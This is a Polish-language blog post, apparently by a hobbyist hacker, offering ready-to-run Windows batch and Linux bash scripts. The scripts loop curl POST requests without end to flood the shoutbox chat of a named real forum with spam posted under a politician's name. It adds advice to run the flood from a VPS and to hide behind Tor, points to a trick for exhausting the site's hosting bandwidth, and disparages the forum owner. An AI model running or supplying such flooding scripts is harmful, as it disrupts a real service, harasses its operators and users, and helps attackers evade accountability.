ZieloneMity ShoutBox Destroy

						ZieloneMity ShoutBox Destroy (once again)
0. Wstęp
Pamiętam, jak jeszcze pewien czas temu, bawiłem się z kolegą ich czatem, i znalazłem tam błędy umożliwiające floodowanie ich czatu oraz HTML Injection oraz XSS. Co do samego forum: jest prowadzone przez jakiegoś uberkatolika, któremu przeszkadza temat o LD podczas gdy nie przeszkadza mu promowanie marszu organizowanego przez skrajnie faszystowski ONR (/forum/viewtopic.php?t=608), zresztą wystarczy spojrzeć na ich fanpage, żeby stwierdzić, że coś jest z nimi nie tak. Ale przejdźmy do sedna.

1. ShoutBox
Podatność HTML Injection i XSS zostały usunięte, ale pozostała możliwość floodowania ;-]
Skrypt dla Windowsa (potrzebny cURL dla Windows do pobrania tu - http://curl.haxx.se/download.html)
@echo off
:k
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
goto k
Skrypt dla Linuxa
UWAGA: Dobrym pomysłem jest wrzucenie tego do jakiejś sesji screena (najlepiej na VPSie) i pójście sobie gdzieś (na piwo ;))
#!/bin/bash
while true
do
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
curl  -d message=czy%20marihuana%20jest%20z%20konopi%3F%20Chyba%20nie%u2026 -d nick=Jaros%u0142aw%20Kaczy%u0144ski "http://narkotyki.sos.pl/czat?sb_a=add&sb_idMsg=408&sb_id=sb"
done
KWESTIA BEZPIECZEŃSTWA
Jeśli chcesz zachować anonimowość podczas floodowania, po curl dodaj --socks5-hostname localhost:9050 musisz się upewnić że masz zainstalowanego TORa, i że jest on uruchomiony
2. Pomniejsze uwagi
Stronka ZieloneMity stoi na Republice (widocznie nie stać ich na lepszy hosting xD) a forum na ehost.com, jeśli chodzi o to pierwsze to prawdopodobnie można "wyczerpać im transfer" za pomocą sztuczki opisanej w tym artykule w punkcie 19: http://hackme.pl/articles.html?article_id=274

Mam nadzieję, że admin coś z tym zrobi ;)